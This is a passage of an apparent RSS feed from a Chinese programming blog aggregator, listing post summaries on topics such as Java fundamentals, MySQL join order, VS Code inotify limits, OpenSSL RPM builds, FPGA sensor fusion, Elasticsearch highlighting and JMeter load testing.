10位机器码 + 12位序列号&#xA;时间戳是毫秒级；机器码由用户指定可能有重复的风险；12位序列号的范围是0～4096；&#xA;4. 分布式限流怎么做 使用令牌桶。原理：算法以固定的速度向桶中存放令牌；桶有一定的容量，如果桶满了，则将新生成的令牌丢弃；有请求过来会消耗令牌。&#xA;主要有4种算法：&#xA;固定窗口：边界值，无法精确限流，不可控。&#xA;滑动窗口：更为精确，但是没办法处理短时的高峰流量。&#xA;漏桶：处理请求的速度是恒定的，没有办法快速处理短暂的高峰流量&#xA;令牌：可以处理短暂的高峰流量，并且后面可以做到匀速的处理请求&#xA;面试必备：4种经典限流算法讲解 - 文章详情&#xA;如何选择QPS限流算法和令牌桶算法_金融分布式架构-阿里云帮助中心&#xA;5. 100万考生，高考排名怎么做？ 思路1：计数排序&#xA;假设最高分是700&#xA;700，699，698.。。500。。。。4，3，2，1，0&#xA;每个分数一个bucket，然后存储分数对应的学生数量&#xA;6. 10亿数组去重排序 思路1：如知数组中的范围，可以按数值范围分成多个组，比如1-10000，10001-20000等。遍历原数组将每个数投递到对应范围的数组中。当然最极致的做法就是每个组一个元素，这样不需要排序就是有序的了。&#xA;如果不知道范围：&#xA;借助hash算法思想，把一个大文件哈希分割到多个小文件中，而哈希冲突的数字&#xA;一定会在同一个小文件中，从而保证了子问题的独立性，小文件可以使用set结构去重，然后就可以单独对小文件通过快速排序来排序。最后再通过多指针的方式进行全局范围的排序&#xA;7. 游戏top实时排行榜 思路1：小顶堆&#xA;8. 设计微信摇一摇功能（设计微信附近的人功能） 假设自己的位置的经纬度是j,w, i 表示范围。那么附近的人的原理就是检索范围在j-i&amp;lt;经度&amp;lt;j+i, w - i&amp;lt;维度&amp;lt; w + i;</description>
    </item>
    <item>
      <title>ubuntu下vscode报错 System limit for number of file watchers reached</title>
      <link>https://bchobby.github.io/posts/3459fb6907f8b64e8b18560b368cbf2e/</link>
      <pubDate>Thu, 14 Dec 2023 23:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3459fb6907f8b64e8b18560b368cbf2e/</guid>
      <description> 1 解释 “System limit for number of file watchers reached”意思是“达到文件观察者数量的系统限制”。错误产生的原因是负责监控 Linux 文件系统的 inotify 程序达到了系统默认的限制上限。&#xA;查看 Inotify 在内核中的默认配置。&#xA;sysctl fs.inotify 输出&#xA;fs.inotify.max_queued_events = 16384 # inotify 管理的队列的最大长度 fs.inotify.max_user_instances = 128 # 每个用户所能创建的 Inotify 实例的上限 fs.inotify.max_user_watches = 65536 # 每个 Inotify 实例最多能关联几个监控 (watch) 2 解决办法 增加 inotify watchers 的上限数量&#xA;3 步骤 运行命令sudo nano /etc/sysctl.conf在最后面加入fs.inotify.max_user_watches=524288保存后退出运行命令sudo sysctl -p </description>
    </item>
    <item>
      <title>ASF-YOLO开源 | SSFF融合&#43;TPE编码&#43;CPAM注意力，精度提升！</title>
      <link>https://bchobby.github.io/posts/82f8dd5e85dc4da1d43d068c343d70a3/</link>
      <pubDate>Thu, 14 Dec 2023 23:06:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82f8dd5e85dc4da1d43d068c343d70a3/</guid>
      <description>目录&#xA;摘要&#xA;1 Introduction&#xA;2 Related work&#xA;2.1 Cell instance segmentation&#xA;2.2 Improved YOLO for instance segmentation&#xA;3 The proposed ASF-YOLO model&#xA;3.1 Overall architecture&#xA;3.2 Scale sequence feature fusion module&#xA;3.3 Triple feature encoding module&#xA;3.4 Channel and position attention mechanism&#xA;3.5 Anchor box optimization&#xA;4 Experiments&#xA;4.1 Datasets&#xA;4.2 Implementation details&#xA;4.3 Quantitative results&#xA;4.4 Qualitative results&#xA;4.5 Ablation study&#xA;4.5.1 Effect of the proposed methods&#xA;4.5.2 Effect of attention mechanisms</description>
    </item>
    <item>
      <title>面向对象基础</title>
      <link>https://bchobby.github.io/posts/e2f4c1ae9e2a95d610c68e3f95eb2ed4/</link>
      <pubDate>Thu, 14 Dec 2023 22:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2f4c1ae9e2a95d610c68e3f95eb2ed4/</guid>
      <description>面向对象概述 面向对象和面向过程的区别 面向过程： 优点：性能比面向对象高，因为类调用时需要实例化，开销比较大，比较消耗资源;比如单片机、嵌入式开发、Linux/Unix等一般采用面向过程开发，能是最重要的因素。&#xA;缺点：没有面向对象易维护、易复用、易扩展&#xA;面向对象： 优点：易维护、易复用、易扩展，由于面向对象有封装、继承、多态性的特性，可以设计出低耦合的系统，使系统更加灵活、更加易于维护&#xA;缺点：性能比面向过程低&#xA;面向过程是具体化的，流程化的，解决一个问题，你需要一步一步的分析，一步一步的实现。&#xA;面向对象是模型化的，你只需抽象出一个类，这是一个封闭的盒子，在这里你拥有数据也拥有解决问题的方法。需要什么功能直接使用就可以了，不必去一步一步的实现，至于这个功能是如何实现的，管我们什么事？我们会用就可以了。&#xA;面向对象的底层其实还是面向过程，把面向过程抽象成类，然后封装，方便我们使用的就是面向对象了。&#xA;面向对象三大特性 面向对象的特征主要有以下几个方面：&#xA;封装 封装把一个对象的属性私有化，同时提供一些可以被外界访问的属性的方法，如 果属性不想被外界访问，我们大可不必提供方法给外界访问。但是如果一个类没有提供给外界访问的方法，那么这个类也没有什么意义了。&#xA;继承 继承是使用已存在的类的定义作为基础建立新类的技术，新类的定义可以增加新 的数据或新的功能，也可以用父类的功能，但不能选择性地继承父类。通过使用 继承我们能够非常方便地复用以前的代码。&#xA;关于继承如下 3 点请记住：&#xA;1.子类拥有父类非 private 的属性和方法（包括私有属性和私有方法），但是父类中的私有属性和方法子类是无法访问的，只是拥有。&#xA;2.子类可以拥有自己属性和方法，即子类可以对父类进行扩展。&#xA;3.子类可以用自己的方式实现父类的方法。&#xA;多态 多态，顾名思义，表示一个对象具有多种的状态，具体表现为父类或接口定义的引用变量可以指向子类或具体实现类的实例对象，提高了程序的拓展性。&#xA;多态的特点:&#xA;对象类型和引用类型之间具有继承（类）/实现（接口）的关系；引用类型变量发出的方法调用的到底是哪个类中的方法，必须在程序运行期间才能确定；多态不能调用“只在子类存在但在父类不存在”的方法；如果子类重写了父类的方法，真正执行的是子类覆盖的方法，如果子类没有覆盖父类的方法，执行的是父类的方法。抽象：抽象是将一类对象的共同特征总结出来构造类的过程，包括数据抽象和行 为抽象两方面。抽象只关注对象有哪些属性和行为，并不关注这些行为的细节是 什么。 什么是多态机制？Java语言是如何实现多态的？ 所谓多态就是指程序中定义的引用变量所指向的具体类型和通过该引用变量发出 的方法调用在编程时并不确定，而是在程序运行期间才确定，即一个引用变量到底会指向哪个类的实例对象，该引用变量发出的方法调用到底是哪个类中实现的方法，必须在由程序运行期间才能决定。因为在程序运行时才确定具体的类，这样，不用修改源程序代码，就可以让引用变量绑定到各种不同的类实现上，从而导致该引用调用的具体方法随之改变，即不修改程序代码就可以改变程序运行时所绑定的具体代码，让程序可以选择多个运行状态，这就是多态性。 多态分为编译时多态和运行时多态。&#xA;在Java中有两种形式可以实现多态：继承（多个子类对同一方法的重写）和接口 （实现接口并覆盖接口中同一方法）。&#xA;方法重载（overload）实现的是编译时的多态性（也称为前绑定），而方法重写（override）实现的是运行时的多态性（也称为后绑定）。&#xA;Java实现多态有三个必要条件：继承、重写、向上转型。&#xA;继承：在多态中必须存在有继承关系的子类和父类。&#xA;重写：子类对父类中某些方法进行重新定义，在调用这些方法时就会调用子类的 方法。&#xA;向上转型：在多态中需要将子类的引用赋给父类对象，只有这样该引用才能够具 备技能调用父类的方法和子类的方法。&#xA;只有满足了上述三个条件，我们才能够在同一个继承结构中使用统一的逻辑实现代码处理不同的对象，从而达到执行不同的行为。&#xA;对于Java而言，它多态的实现机制遵循一个原则：当超类对象引用变量引用子类 对象时，被引用对象的类型而不是引用变量的类型决定了调用谁的成员方法，但 是这个被调用的方法必须是在超类中定义过的，也就是说被子类覆盖的方法。&#xA;面向对象五大基本原则是什么 单一职责原则SRP(Single Responsibility Principle)：类的功能要单一，不能包罗万象，跟杂货铺似的。开放封闭原则OCP(Open－Close Principle)：一个模块对于拓展是开放的，对于修改是封闭的里式替换原则LSP(the Liskov Substitution Principle LSP)：子类可以替换父类出现在父类能够出现的任何地方。依赖倒置原则DIP(the Dependency Inversion Principle DIP)：高层次的模块不应该依赖于低层次的模块，他们都应该依赖于抽象。抽象不应该依赖于具体实现，具体实现应该依赖于抽象。接口分离原则ISP(the Interface Segregation Principle ISP)：设计时采用多个与特定客户类有关的接口比采用一个通用的接口要好。 Java的四种引用，强弱软虚 强引用 Java中默认声明的就是强引用，强引用是平常中使用最多的引用，强引用在程序内存不足（OOM）的时候也不会被回收，使用方式：</description>
    </item>
    <item>
      <title>Java数据类型相关</title>
      <link>https://bchobby.github.io/posts/8d1be2a856e682f3a9fd6822dd2a21f9/</link>
      <pubDate>Thu, 14 Dec 2023 21:08:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d1be2a856e682f3a9fd6822dd2a21f9/</guid>
      <description>数据类型 Java有哪些数据类型 定义：Java语言是强类型语言，对于每一种数据都定义了明确的具体的数据类 型，在内存中分配了不同大小的内存空间。&#xA;分类：&#xA;基本数据类型&#xA;数值型 整数类型(byte,short,int,long)&#xA;浮点类型(float,double)&#xA;字符型(char)布尔型(boolean) 引用数据类型&#xA;类(class)接口(interface)数组([]) Java基本数据类型图&#xA;Java中各种数据默认值 Byte,short,int,long默认是都是0&#xA;Boolean默认值是false&#xA;Char类型的默认值是’’&#xA;Float与double类型的默认是0.0&#xA;对象类型的默认值是null&#xA;超过 long 整型的数据应该如何表示？ 基本数值类型都有一个表达范围，如果超过这个范围就会有数值溢出的风险。&#xA;在 Java 中，64 位 long 整型是最大的整数类型。&#xA;long l = Long.MAX_VALUE; System.out.println(l + 1); // -9223372036854775808 System.out.println(l + 1 == Long.MIN_VALUE); // true BigInteger 内部使用 int[] 数组来存储任意大小的整形数据。&#xA;相对于常规整数类型的运算来说， BigInteger 运算的效率会相对较低。&#xA;String 属于基础的数据类型吗？ String 不属于基础类型，基础类型有 8 种：byte、boolean、char、short、int、float、long、double，除了基本类型(primitive type)和枚举类型(enumeration type)，剩下的都是引用类型(reference type)。&#xA;用最有效率的方法计算 2 乘以 8 2 &amp;lt;&amp;lt; 3（左移 3 位相当于乘以 2 的 3 次方，右移 3 位相当于除以 2 的 3 次 方）。</description>
    </item>
    <item>
      <title>联合查询为什么小表要放在前面</title>
      <link>https://bchobby.github.io/posts/ee30a8d3b2872feee129a4d42844c3d4/</link>
      <pubDate>Thu, 14 Dec 2023 20:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee30a8d3b2872feee129a4d42844c3d4/</guid>
      <description>在Mysql的查询优化里有一条经验，在联合查询时，SQL里要把小表放在大表的前面。小表是指数据量少的表。这个经验的原理是什么呢？这就要从Mysql的遍历方式开始说起。&#xA;遍历方式 Mysql的联合查询是按照嵌套查询的方式进行遍历。先从第一个表取出一条数据，在第二个表里搜索符合条件的数据。再从第二个表里取出一条数据，在第三个表里搜索符合条件的数据。一直递归到最后一个表，如过有符合条件的数据就放到结果集里。最后一张表没有符合条件的数据后，就再回到倒数第二张表，找到符合条件的下一条数据。直到第一张表的数据都遍历完为止。&#xA;这种遍历方式的成本是多少，我们可以简单估算一下。&#xA;遍历的成本 嵌套遍历的成本，即查找的次数公式是 (cost1cnt0) + (cost2cnt1) + … + (costN*cntN-1)。cost代表找到一条满足条件数据需要扫描的行数，cnt是需要找的行数，cnt0是常数1。&#xA;没走的索引的情况&#xA;没有用到索引的情况，就要全表扫描，所以cost就是表的行数。公式里表的行数我们是没发控制，能控制的是调整表的顺序，产生不同的cnt。这里就有几个规则：&#xA;第一个表需要全部扫描，把数据行少的表放前面也许更划算将数据行多的表放后面，countN * cntN-1公式里的cntN-1的值更小的概率越大，即减少大表的总遍历次数 但是，在没有实际执行之前，是不知道每个cnt的值。所以，什么样的表顺序更优其实是不确定。例如，table1、table2分别有有100、1000条数据。从table1开始遍历如果有50条数据满足条件，那么成本就是100 + 50 * 1000 = 50100。从table2开始遍历如果有10条数据满足条件，那么成本就是1000 + 10 * 100 = 2000。这样看，table2放前面更好。&#xA;走索引的情况&#xA;走索引的情况联合查询的方式会有一些区别。先从第一个表取出一条数据，在第二个表的索引里搜索符合条件的数据。用索引搜索的时间复杂度是O(logn)，count值就从数据行数变成了log(count)，公式还是一样。&#xA;所以，按照经验是将小表放到前面会好一些，但也不是绝对的。大部分情况下查询优化器会帮我们去选择表的顺序，所以我们没必要刻意的去调整表的顺序。通过explain命令可以看到优化后的执行顺序。&#xA;explain select * from table1, table2 where table1.oid = table2.oid; +--+-----------+---------+----------+----+-------------+-------------+-------+-------+----+--------+-----+ |id|select_type|table |partitions|type|possible_keys|key |key_len|ref |rows|filtered|Extra| +--+-----------+---------+----------+----+-------------+-------------+-------+-------+----+--------+-----+ |1 |SIMPLE |table1 |null |ALL |null |null |null |null |31 |100 |null | |1 |SIMPLE |table2 |null |ALL |null |null |null |null |203 |100 |null | +--+-----------+---------+----------+----+-------------+-------------+-------+-------+----+--------+-----+ 如果优化器选错了顺序，我们可以通过straight_join关键字去忽略优化器的顺序优化。</description>
    </item>
    <item>
      <title>vue引用public文件夹中文件</title>
      <link>https://bchobby.github.io/posts/e164253867a95cd607f2f286c12d3ff9/</link>
      <pubDate>Thu, 14 Dec 2023 20:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e164253867a95cd607f2f286c12d3ff9/</guid>
      <description>1 官方解释 vite官网解释&#xA;2 使用 可以先看最下面结论&#xA;在Test.vue组件中测试&#xA;2.1 图片文件 方式一（ide正常，页面正常，img标签src属性赋值绝对路径/）：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;view&#34;&amp;gt;&amp;lt;img src=&#34;https://bchobby.github.io/moon.png&#34; /&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; console.log(&#34;aaa&#34;); &amp;lt;/script&amp;gt; &amp;lt;style scoped&amp;gt; img { width: 300px; height: 300px; } &amp;lt;/style&amp;gt; build后：&#xA;页面显示：&#xA;方式二 （ide警告,页面正常,img标签src属性赋值绝对路径/public）&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;view&#34;&amp;gt;&amp;lt;img src=&#34;https://bchobby.github.io/public/moon.png&#34; /&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; console.log(&#34;aaa&#34;); &amp;lt;/script&amp;gt; &amp;lt;style scoped&amp;gt; img { width: 300px; height: 300px; } &amp;lt;/style&amp;gt; ide警告：&#xA;build后：&#xA;可以看到，这样的方式引用，会把图片文件复制一份，名称追加hash值，放在assets下面，根目录下的moon.png并没有被引用&#xA;页面显示：&#xA;方式三（ide警告，页面正常，img标签src属性赋值相对路径../../public）：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;view&#34;&amp;gt;&amp;lt;img src=&#34;../../public/moon.png&#34; /&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;</description>
    </item>
    <item>
      <title>win10重装系统历程</title>
      <link>https://bchobby.github.io/posts/71f06ceacb8ad4e75d2673bb41673ff7/</link>
      <pubDate>Thu, 14 Dec 2023 19:50:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71f06ceacb8ad4e75d2673bb41673ff7/</guid>
      <description>win10系统更新出问题了，重置系统卡死，遂决定重装。&#xA;微软官方工具制作U盘启动盘，&#xA;进行到分区时，一冲动把盘都格式化了，&#xA;后面了解到，即便进不了系统也有办法备份数据的...&#xA;进行到安装时，提示Windows无法安装所需的文件，请确保安装所需的所有文件可用，并重新启动安装，错误代码：0x8007025D.&#xA;以为是没制作好，于是重新制作一遍U盘启动盘，当时用的别的台式机，&#xA;看网上说专门把U盘插到机箱后面的接口上了，但进行到这一步还是出现这个问题，&#xA;网上搜到相关问题，看到有大佬分享用WinPE加镜像ISO重装成功的，&#xA;于是去B站看了教程，U盘装了WinPE也放上系统镜像了，&#xA;这回系统镜像是从MSDN，I tell you 上下载的，&#xA;现在更新了，登录 (itellyou.cn)&#xA;进行到安装时还是这个Windows无法安装所需的文件...&#xA;只是错误代码变了：0x80070571,&#xA;看网上说也有可能是U盘的问题，我用的闪迪的U盘，&#xA;从BIOS里看到硬盘是金士顿，又买了个金士顿的U盘，&#xA;注册了Itellyou，也捐赠了，下载系统时看到作者分享的制作U盘启动盘的工具，&#xA;比如Ventoy，但是没有推荐PE，于是去B站看Ventoy的教程，&#xA;买的U盘到了，就装了Ventoy，感觉就像没装一样，U盘里看不到，&#xA;然后把ISO文件放U盘里&#xA;再重装，刚开始蓝屏提示Verification failed 0x1A... 网上一搜搜到了，&#xA;Ventoy官网也有，Secure Boot (安全启动)&#xA;按之操作，可以了，最后安装也顺利进行</description>
    </item>
    <item>
      <title>RHEL7.5编译openssl1.1.1w源码包到rpm包</title>
      <link>https://bchobby.github.io/posts/52bc272a39c72f3004c2180d06460d6e/</link>
      <pubDate>Thu, 14 Dec 2023 19:33:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52bc272a39c72f3004c2180d06460d6e/</guid>
      <description>openssl1.1.1w下载地址&#xA;https://www.openssl.org/source/&#xA;安装依赖包&#xA;yum -y install curl which make gcc perl perl-WWW-Curl rpm-build&#xA;wget http://mirrors.aliyun.com/centos-vault/7.5.1804/os/x86_64/Packages/perl-WWW-Curl-4.15-13.el7.x86_64.rpm&#xA;rpm -ivh perl-WWW-Curl-4.15-13.el7.x86_64.rpm&#xA;创建编译时需要的目录&#xA;mkdir -p /root/rpmbuild/{BUILD,RPMS,SOURCES,SPECS,SRPMS}&#xA;上传源码包到指定目录&#xA;cp openssl-1.1.1w.tar.gz /root/rpmbuild/SOURCES/&#xA;新建编译文件&#xA;cat &amp;lt;&amp;lt; &#39;EOF&#39; &amp;gt; /root/rpmbuild/SPECS/openssl.spec Summary: OpenSSL 1.1.1w for redhat Name: openssl Version: %{?version}%{!?version:1.1.1w} Release: 1%{?dist} Obsoletes: %{name} &amp;lt;= %{version} Provides: %{name} = %{version} URL: https://www.openssl.org/ License: GPLv2+ Source: https://www.openssl.org/source/%{name}-%{version}.tar.gz BuildRequires: make gcc perl perl-WWW-Curl BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root %global openssldir /usr/local/openssl1.1.1w %description OpenSSL RPM for version 1.</description>
    </item>
    <item>
      <title>京微齐力：基于H7的平衡控制系统（一、姿态解析）</title>
      <link>https://bchobby.github.io/posts/345164ba961126fb48c4d3c35c028f00/</link>
      <pubDate>Thu, 14 Dec 2023 19:23:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/345164ba961126fb48c4d3c35c028f00/</guid>
      <description>目录 前言一、关于平衡控制系统二、实验效果三、硬件选择1、H7P20N0L176-M2H12、MPU6050 四、理论简述五、程序设计1、Cordic算法2、MPU6050采集数据3、fir&amp;amp;iir滤波4、姿态解算 六、资源消耗&amp;amp;工程获取七、总结 前言 很久之前，就想用纯FPGA做一套控制系统。可以用到平衡车、飞控、水陆两栖船上面，让很多想快速入门比赛的学子，能够在这套“底盘”上面，结合图像处理、多信息融合等技术，快速搭建出自己的作品。恰逢认识FPGA之旅的作者-吴工，他也在做这件事，顿感追攀更觉相逢晚，恨不相逢早。对未来的真正慷慨，是把一切都献给现在，不再想，今天就开始做！&#xA;一、关于平衡控制系统 我们惊叹舞蹈演员在舞台上飞快地旋转，而身体却不会倾倒；我们佩服体操运动员一连翻几个筋斗，却能稳稳落地。如果我们不注意被石头绊着时，我们会“下意识”地立刻纠正身体的姿势，不让自己轻易摔倒。我们体内有一套维持身体平衡的器官系统在默默地为我们工作着。&#xA;人既是如此，那么机器也是这样的，机器要保持机身平衡，也需要这样一个器官系统来修正机器的运动。这种器官有很多，姿态传感器就是其中一种。目前主流的姿态传感器有三轴、六轴及九轴三种。这九轴分别就是：三轴加速度计，三轴陀螺仪以经三轴磁场。&#xA;作为本系列文章的开篇，本次实验，先选用较为中等的六轴-MPU6050作为姿态传感器，后面会慢慢根据系统来升级传感器。MPU6050由三轴加速度计和三轴陀螺仪组成，它可以测量物体在x、y、z三个方向上的加速度和角速度。加速度计可以检测物体的线性加速度，而陀螺仪可以检测物体的角速度。通过将加速度计和陀螺仪的测量结果进行组合，可以计算出物体的方向和角度。&#xA;关于六轴传感器的坐标系分析，网上很多，本文就不做赘续，有兴趣的可以自己查一查。&#xA;二、实验效果 1、FPGA采集MPU6050的数据，并进行滤波；&#xA;2、FPGA以串口的方式，将姿态数据发送到上位机。&#xA;基于H7的控制平衡系统（一）&#xA;从视频可以看到，当MPU6050姿态发生变化时，上位机波形跟传感器变化一致。yaw需要做角速度求解，这里只做了相对开始位置的，即初始值，所以只有在开始可以看到一点，后面的波形看不到。（具体原因请看第四节：理论简述）&#xA;三、硬件选择 1、H7P20N0L176-M2H1 本次实验使用H7作为主控板，HME-H7系列采用低功耗22nm 技术，集成了高性能ARM Cortex-M3 MCU(频率高达300M）、外围设备与大容量片上SRAM。本次实验只使用逻辑部分，后面根据需要再扩展MCU实验。需要板子的同学，可以到米联客店铺购买。&#xA;2、MPU6050 MPU6050采用I2C总线通信协议，可以直接连接到微控制器或单片机上。在使用MPU6050之前，需要进行校准，以保证其测量结果的准确性。校准过程可以通过软件或硬件进行。将VCC、GND、SCL、SDA连接到H7开发板即可。&#xA;MPU6050框图&#xA;四、理论简述 物体的姿态，通俗的讲，就是通过六轴数据求解三个角度：&#xA;roll：绕X轴（横滚） 范围：±180° ，与旋转方向相反转是增大 – 右滚为正，左滚为负；&#xA;pitch：绕Y轴（俯仰）范围：±90°,与旋转方向相反转是增大-- 抬头为正，低头为负；&#xA;yaw：绕z轴（偏航） 范围：±180° ，与旋转方向相反转是增大 --右偏为正，左偏为负。&#xA;当我们得到MPU6050的原始数据时，接下来如果我们要真正用上这些数据，通常我们都会利用数学方法把它们转换成角度。&#xA;1、加速度求解角度的表达式&#xA;注：通过加速度是无法求解yaw的，因为重力加速度的Z轴，在相对地平面东西南北旋转时并无变化，因此只能靠Z轴的角速度来惯性累计估算旋转角度。&#xA;roll = atan(acc_y / acc_x); pitch = atan(acc_x / (sqrt(acc_y*acc_y + acc_z * acc_z))); 2、通过角速度求解：&#xA;通过角速度的求解就更简单了，只需要将当前角度加上(角速度×dt)就可以。角速度求解的时候会有些问题，在静态的时候，角速度会有零漂，这个时候角度误差会越来越大。&#xA;可以看到有上面的两种方法求解角度，可以单独使用，但是可能会不太准确，精度要求不高的场合可以只使用加速度求解。在精度要求比较高的场合下，需要使用这两种方法求解，然后再将求得的结果进行融合。常用的方法有: 卡尔曼滤波、清华角度滤波、一阶互补滤波、四元数解算。&#xA;这几种方法中，从难度上来看，一阶互补滤波和清华角度滤波是比较容易理解的，而且它们的本质其实是相同的，都是利用了权重互补，它们调试起来比较简单，而卡尔曼滤波和四元数解算的方法比较难理解。当然利用DMP直接输出角度也是可以的，不过移植起来也不太容易。从滤波效果上来看，本人的理解是：DMP直接输出角度&amp;gt;卡尔曼滤波&amp;gt;=四元数解算&amp;gt;清华角度滤波&amp;gt;=一阶互补滤波。 不过其实一阶互补滤波只要把调试得比较好，得到的角度还是够用的。&#xA;一阶互补滤波：&#xA;roll = a * acc_roll + (1 - a) *gyro_roll; 五、程序设计 1、Cordic算法 求解：</description>
    </item>
    <item>
      <title>PythonStudio：一款国人写的python及窗口开发编辑IDE，可以替代pyqt designer等设计器了</title>
      <link>https://bchobby.github.io/posts/e2d80bcdb49330fa6552e99f6d53fe5a/</link>
      <pubDate>Thu, 14 Dec 2023 17:18:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2d80bcdb49330fa6552e99f6d53fe5a/</guid>
      <description>本款软件只有十几兆，功能算是强大的，国人写的，很不错的python界面IDE.顶部有下载链接。下面有网盘下载链接，或者从官网直接下载。&#xA;目前产品免费，以后估计会有收费版本。主页链接：PythonStudio-硅量实验室&#xA;作者还贴心的制作了视频教程，真贴心啊。 赠送官方视频教程 视频链接：https://pan.baidu.com/s/18uBqslsPXkNmsv54d72uTQ&#xA;提取码：1111&#xA;IDE链接：https://pan.baidu.com/s/1PF9tYsU4cYHwfpeTBI0Q4Q&#xA;提取码：1111&#xA;使用本款IDE生成的exe文件，大小为十几兆，使用的是delphivcl包，使用pyinstaller来打包。PythonStudio会自动下载缺失的依赖包。这一点太友好的，特别是对小白。&#xA;设计窗体的时候，可以双击按钮，它会自动生成按钮点击事件，然后填写相关的代码，类似vs窗体设计IDE的形式，比pyside等窗口代码分离友好多了。&#xA;不管怎么说，这个作者可谓诚意满满的。</description>
    </item>
    <item>
      <title>Java中的强引用、软引用、弱引用、虚引用与引用队列 通俗举例实战详解</title>
      <link>https://bchobby.github.io/posts/0a23f2e2386fc422f8ed0a4041366d9e/</link>
      <pubDate>Thu, 14 Dec 2023 16:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a23f2e2386fc422f8ed0a4041366d9e/</guid>
      <description>文章目录 1. 基本概念2. 代码演示2.1 软引用代码演示2.2 弱引用代码演示2.3 弱引用+引用队列代码演示2.4 虚引用代码演示2.5 虚引用+引用队列代码演示 3. 实战样例3.1 利用软引用实现资源对象缓存3.2 利用弱引用实现临时行为数据缓存3.3 利用虚引用+引用队列实现资源释放 本次实验Java版本：JDK 1.8.0_152_release&#xA;1. 基本概念 本节先了解一下概念，看不懂没关系，后续会详解。&#xA;Java中的引用可以按强弱程度分为四种，JVM对不同程度的引用回收策略不同：&#xA;强引用（Strong Reference）：我们平时用的都是强引用。例如：MyObject myObj = new MyObject();&#xA;回收：只要有引用，就不会被回收。 软引用（Soft Reference）：使用SoftReference显式声明。&#xA;回收：当JVM内存不够时，会对软引用对象进行回收。应用场景：做资源类缓存。使用样例： MyObject myObject = new MyObject(&#34;Amy&#34;); // 从数据库中获取数据 SoftReference&amp;lt;MyObject&amp;gt; reference = new SoftReference&amp;lt;&amp;gt;(myObject); // 增添软引用 // do something ... myObject = reference.get(); // 尝试获取myObject对象 if (myObject == null) { // 没获取到，说明已经被JVM回收了 myObject = new MyObject(&#34;Amy&#34;); // 重新从数据库中获取数据 } else { // 没有被JVM回收 } 弱引用（Weak Reference）：使用WeakReference显式声明。</description>
    </item>
    <item>
      <title>如何实现 Es 全文检索、高亮文本略缩处理（封装工具接口极致解耦）</title>
      <link>https://bchobby.github.io/posts/93d426445c9d2ce2bcdf5d8af3bdadfc/</link>
      <pubDate>Thu, 14 Dec 2023 15:47:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93d426445c9d2ce2bcdf5d8af3bdadfc/</guid>
      <description>如何实现 Es 全文检索、高亮文本略缩处理 前言技术选型JAVA 常用语法说明全文检索开发高亮开发Es Map 转对象使用核心代码 Trans 接口（支持父类属性的复杂映射）Trans 接口可优化的点高亮全局配置类如下真实项目落地效果为什么不用 numOfFragments、fragmentSize 参数控制略缩？ 前言 最近手上在做 Es 全文检索的需求，类似于百度那种，根据关键字检索出对应的文章，然后高亮显示，特此记录一下，其实主要就是处理 Es 数据那块复杂，涉及到高亮文本替换以及高亮字段截取，还有要考虑到代码的复用性，是否可以将转换代码抽离出来，提供给不同结构的索引来使用。&#xA;技术选型 像市面上有的 Spring Data，码云上面的 GVP 项目 （EasyEs）等其他封装框架。使用起来确实很方便，但是考虑到由于开源项目的不稳定性且 Es 不同版本间语法差异比较大，还有一方面是公司之前用的一直是 Es 6，后续可能会涉及到 Es 的升级改造，于是决定使用原生的 Api。也就是使用 RestHighLevelClient。&#xA;JAVA 常用语法说明 查时间范围内的数据 BoolQuery 里面嵌套一个 RangeQuery 即可在RangeQuery 里面指定时间范围。BoolQuery.must() 各位理解为 Mybatis 中的 eq 方法即可，必须包含的意思。&#xA;RangeQueryBuilder rangeQuery = QueryBuilders.rangeQuery(articleRequest.getSortType()); if (StringUtils.isNotEmpty(articleRequest.getBeginTime())) { rangeQuery.gte(articleRequest.getBeginTime()); } if (StringUtils.isNotEmpty(articleRequest.getEndTime())) { rangeQuery.lte(articleRequest.getEndTime()); } boolQuery.must(rangeQuery); BoolQuery.should() 方法可以理解为 OR 可包含可不包含，多字段全文检索时应用 shoud。&#xA;BoolQueryBuilder boolQuery = QueryBuilders.</description>
    </item>
    <item>
      <title>jmeter使用入门(&#43;influxdb&#43;grafana)</title>
      <link>https://bchobby.github.io/posts/be49ef90ede154f4e85d93625ad2e01d/</link>
      <pubDate>Thu, 14 Dec 2023 15:42:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be49ef90ede154f4e85d93625ad2e01d/</guid>
      <description>目录&#xA;一、jmeter实际模拟一个http请求&#xA;1、背景&#xA;2、具体步骤&#xA;二、jmeter发送wss(websocket)请求&#xA;三、jmeter的可视化—— +influxdb+grafana&#xA;0、准备&#xA;1、安装influxdb&#xA;2、jmeter通过Backend Listener连接influxdb&#xA;2、安装grafana&#xA;3、查看执行效果&#xA;四、jmeter安装常用插件&#xA;1、安装插件管理器&#xA;2、配置udp请求&#xA;五、Linux下的非GUI模式压测&#xA;六、Jmeter分布式压测&#xA;七、常用工具收藏&#xA;官网： Apache JMeter - Download Apache JMeter&#xA;一、jmeter实际模拟一个http请求 以后就可以用jmeter来压测接口了，而且是从前端http接口层面的压测。&#xA;1、背景 